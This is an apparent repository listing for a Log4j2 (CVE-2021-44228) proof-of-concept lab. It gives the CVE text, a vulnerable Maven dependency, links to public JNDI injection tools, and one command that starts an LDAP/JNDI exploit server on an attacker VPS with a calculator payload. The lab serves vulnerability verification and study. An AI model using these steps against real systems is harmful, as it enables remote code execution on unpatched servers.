CVE-2021-44228 PoC — Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoints

Source

https://github.com/1in9e/Apache-Log4j2-RCE

Associated Vulnerability

Title:Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoints (CVE-2021-44228)
Description:Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.

Description

Apache Log4j2 RCE( CVE-2021-44228)验证环境

Readme

# Apache Log4j2 RCE 验证环境
> Since from 2021.12.09

## Some Ref
https://mp.weixin.qq.com/s/yck74F9p9QhVw_3ykzVoSg

## 搭建环境
maven引入相关包及存在漏洞版本范围
```xml
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.1</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>
```
![0](images/0.png)

## 检查
#### 利用dnslog探测是否使用
![0](images/2.png)

#### ldap结合jndi利用RCE
jdk版本有关，JDK 11.0.1、8u191、7u201、6u211之后需要手动设置trustURLCodebase为true
> 关于此详细学习可参考 https://blog.0kami.cn/2020/03/01/java/jndi-with-ldap/

利用方式，可结合jndi注入工具，例如[JNDI-Injection-Exploit](https://github.com/welk1n/JNDI-Injection-Exploit) 、[fastjson_rce_tool](https://github.com/wyzxxz/fastjson_rce_tool) 、 [JNDIExploit](https://github.com/feihong-cs/JNDIExploit) 
> 还可结合工具实现多种已公开回显方式、内存马注入方式

```bash
# 
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open -a /System/Applications/Calculator.app"  -A your_vps_ip
```
![1](images/1.png)

#### Web
> TODO

![3](images/3.png)

#### About
https://github.com/apache/logging-log4j2/tags

File Snapshot


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├── [4.0K]  images
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├── [5.9K]  Logdemo.iml
├── [2.8K]  pom.xml
├── [1.4K]  README.md
└── [4.0K]  src
    └── [4.0K]  main
        ├── [4.0K]  java
        │   └── [4.0K]  com
        │       └── [4.0K]  example
        │           └── [4.0K]  logdemo
        │               ├── [2.1K]  Log4j2Web.java
        │               └── [ 420]  Log4jTest.java
        └── [4.0K]  resources
            ├── [ 913]  log4j2.xml
            └── [4.0K]  META-INF
                └── [ 326]  beans.xml

9 directories, 11 files

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